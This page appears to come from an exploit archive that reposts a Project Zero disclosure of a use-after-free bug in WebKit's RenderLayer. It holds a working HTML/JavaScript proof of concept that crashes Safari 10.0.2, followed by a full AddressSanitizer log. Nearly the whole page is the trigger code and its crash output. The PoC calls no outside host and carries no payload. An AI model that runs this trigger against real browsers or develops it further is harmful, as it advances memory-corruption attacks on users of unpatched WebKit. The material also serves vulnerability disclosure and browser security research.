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Apple WebKit - RenderLayer Use-After-Free Exploit
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Security Risk Medium
]0day-ID
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<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1082 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the latest nightly build of WebKit. The PoC also crashes Safari 10.0.2 on Mac. PoC and ASan log follow PoC: ================================================================= --> <script> function go() { div.style.setProperty("-webkit-flow-into", "foo"); document.execCommand("fontSize", false, 6); window.requestAnimationFrame(cb); h1.attachShadow({mode: "open"}); h1.replaceWith("foo"); } function cb() { var a; //trigger garbage collector for(var i=0;i<100;i++) { a = new Uint8Array(1024*1024); } textarea.cols = 1; } </script> <body onload=go()> <textarea id="textarea"></textarea> <h1 id="h1"> <div id="div" style="perspective: 1px;"> <!-- ================================================================= ASan log: ================================================================= ==531==ERROR: AddressSanitizer: heap-use-after-free on address 0x60800003e340 at pc 0x00010b23f5ab bp 0x7fff5c243c10 sp 0x7fff5c243c08 READ of size 8 at 0x60800003e340 thread T0 #0 0x10b23f5aa in WebCore::Node::treeScope() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x45aa) #1 0x10b23f568 in WebCore::Node::document() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x4568) #2 0x10b23eb18 in WebCore::RenderObject::document() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3b18) #3 0x10d3e9a34 in WebCore::RenderBox::applyTopLeftLocationOffset(WebCore::LayoutPoint&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21aea34) #4 0x10d3e2bc1 in WebCore::RenderLayer::updateLayerPosition() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a7bc1) #5 0x10d3e1fb8 in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a6fb8) #6 0x10d3e24cd in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a74cd) #7 0x10d3e24cd in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a74cd) #8 0x10d3e1e66 in WebCore::RenderLayer::updateLayerPositionsAfterLayout(WebCore::RenderLayer const*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a6e66) #9 0x10bcdbb66 in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa0b66) #10 0x10dc5c1c1 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2a211c1) #11 0x10cebc87f in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1c8187f) #12 0x7fff9a634af3 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92af3) #13 0x7fff9a634782 in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92782) #14 0x7fff9a6342d9 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x922d9) #15 0x7fff9a62b7d0 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x897d0) #16 0x7fff9a62ae37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37) #17 0x7fff904ba934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934) #18 0x7fff904ba76e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e) #19 0x7fff904ba5ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae) #20 0x7fff8e2e5df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5) #21 0x7fff8e2e5225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225) #22 0x7fff8e2d9d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f) #23 0x7fff8e2a3367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367) #24 0x7fff86665193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193) #25 0x7fff86663bbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd) #26 0x1039b9b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73) #27 0x7fff8e1e35ac in start (/usr/lib/system/libdyld.dylib+0x35ac) 0x60800003e340 is located 32 bytes inside of 96-byte region [0x60800003e320,0x60800003e380) freed by thread T0 here: #0 0x105f85cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4) #1 0x108fb036f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190136f) #2 0x10b5e3653 in WebCore::removeDetachedChildrenInContainer(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3a8653) #3 0x10b5d0752 in WebCore::ContainerNode::~ContainerNode() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x395752) #4 0x10be98aad in WebCore::HTMLHeadingElement::~HTMLHeadingElement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc5daad) #5 0x1088a1ee7 in JSC::JSCell::callDestructor(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x11f2ee7) #6 0x1089a423a in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1>()::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f523a) #7 0x1089a3f1e in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1>() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f4f1e) #8 0x1089a3892 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectMarksMode<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1>() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f4892) #9 0x1089a2212 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectSweepMode<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f3212) #10 0x10899f823 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectHasNewlyAllocated<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f0823) #11 0x10899a130 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectEmptyMode<(JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12eb130) #12 0x108987f80 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectScribbleMode<(JSC::MarkedBlock::Handle::SweepDestructionMode)1>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d8f80) #13 0x108987dfc in JSC::MarkedBlock::Handle::sweep(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d8dfc) #14 0x108983c54 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d4c54) #15 0x1089836a8 in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d46a8) #16 0x10898450e in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d550e) #17 0x1076c3bfa in void* JSC::allocateCell<JSC::JSString>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x14bfa) #18 0x1076c3758 in JSC::JSString::create(JSC::VM&, WTF::PassRefPtr<WTF::StringImpl>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x14758) #19 0x1076c3465 in JSC::jsString(JSC::VM*, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x14465) #20 0x10871d864 in JSC::JSFunction::finishCreation(JSC::VM&, JSC::NativeExecutable*, int, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x106e864) #21 0x10871d6fd in JSC::JSFunction::create(JSC::VM&, JSC::JSGlobalObject*, int, WTF::String const&, long long (*)(JSC::ExecState*), JSC::Intrinsic, long long (*)(JSC::ExecState*), JSC::DOMJIT::Signature const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x106e6fd) #22 0x1087b2802 in JSC::JSObject::putDirectNativeFunction(JSC::VM&, JSC::JSGlobalObject*, JSC::PropertyName const&, unsigned int, long long (*)(JSC::ExecState*), JSC::Intrinsic, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1103802) #23 0x10bb5bf3a in JSC::reifyStaticProperty(JSC::VM&, JSC::PropertyName const&, JSC::HashTableValue const&, JSC::JSObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x920f3a) #24 0x10c2a4fc8 in void JSC::reifyStaticProperties<32u>(JSC::VM&, JSC::HashTableValue const (&) [32u], JSC::JSObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1069fc8) #25 0x10c7ca738 in WebCore::JSHTMLTextAreaElementPrototype::finishCreation(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x158f738) #26 0x10c7cab8b in WebCore::JSHTMLTextAreaElementPrototype::create(JSC::VM&, JSC::JSGlobalObject*, JSC::Structure*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x158fb8b) #27 0x10c7caad5 in WebCore::JSHTMLTextAreaElement::createPrototype(JSC::VM&, JSC::JSGlobalObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x158fad5) #28 0x10c6d7c6f in JSC::Structure* WebCore::getDOMStructure<WebCore::JSHTMLTextAreaElement>(JSC::VM&, WebCore::JSDOMGlobalObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x149cc6f) #29 0x10c6d7a8d in std::__1::enable_if<std::is_same<WebCore::HTMLTextAreaElement, WebCore::HTMLTextAreaElement>::value, WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLTextAreaElement>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLTextAreaElement, WebCore::HTMLTextAreaElement>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLTextAreaElement>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x149ca8d) previously allocated by thread T0 here: #0 0x105f85790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790) #1 0x7fff867345a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0) #2 0x108fb9db4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190adb4) #3 0x108faf12b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190012b) #4 0x108f46995 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1897995) #5 0x10be4b45d in WebCore::HTMLDivElement::create(WebCore::QualifiedName const&, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1045d) #6 0x10be67451 in WebCore::divConstructor(WebCore::QualifiedName const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2c451) #7 0x10be65373 in WebCore::HTMLElementFactory::createKnownElement(WTF::AtomicString const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2a373) #8 0x10be22ea6 in WebCore::HTMLConstructionSite::createHTMLElementOrFindCustomElementInterface(WebCore::AtomicHTMLToken&, WebCore::JSCustomElementInterface**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe7ea6) #9 0x10be221a5 in WebCore::HTMLConstructionSite::createHTMLElement(WebCore::AtomicHTMLToken&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe71a5) #10 0x10be228e6 in WebCore::HTMLConstructionSite::insertHTMLElement(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe78e6) #11 0x10bf7ef63 in WebCore::HTMLTreeBuilder::processStartTagForInBody(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd43f63) #12 0x10bf7c4d6 in WebCore::HTMLTreeBuilder::processStartTag(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd414d6) #13 0x10bf7a67e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd3f67e) #14 0x10be4fd48 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14d48) #15 0x10be4f902 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14902) #16 0x10be4eb94 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc13b94) #17 0x10be5058d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1558d) #18 0x10b8bd661 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x682661) #19 0x10b9e91f8 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae1f8) #20 0x10b9ad86f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f) #21 0x10b48dfb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7) #22 0x10b488b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69) #23 0x10da397e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4) #24 0x1042af615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615) #25 0x1042aec2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a) #26 0x103c5d1f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9) #27 0x103a80448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448) #28 0x103a89614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614) #29 0x108f65ab3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6ab3) SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x45aa) in WebCore::Node::treeScope() const Shadow bytes around the buggy address: 0x1c1000007c10: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa 0x1c1000007c20: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x1c1000007c30: fa fa fa fa 00 00 00 00 00 00 00 fc fc 00 00 fa 0x1c1000007c40: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa 0x1c1000007c50: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa =>0x1c1000007c60: fa fa fa fa fd fd fd fd[fd]fd fd fd fd fd fd fd 0x1c1000007c70: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x1c1000007c80: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x1c1000007c90: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x1c1000007ca0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x1c1000007cb0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==531==ABORTING --> # 0day.today [2024-12-25] #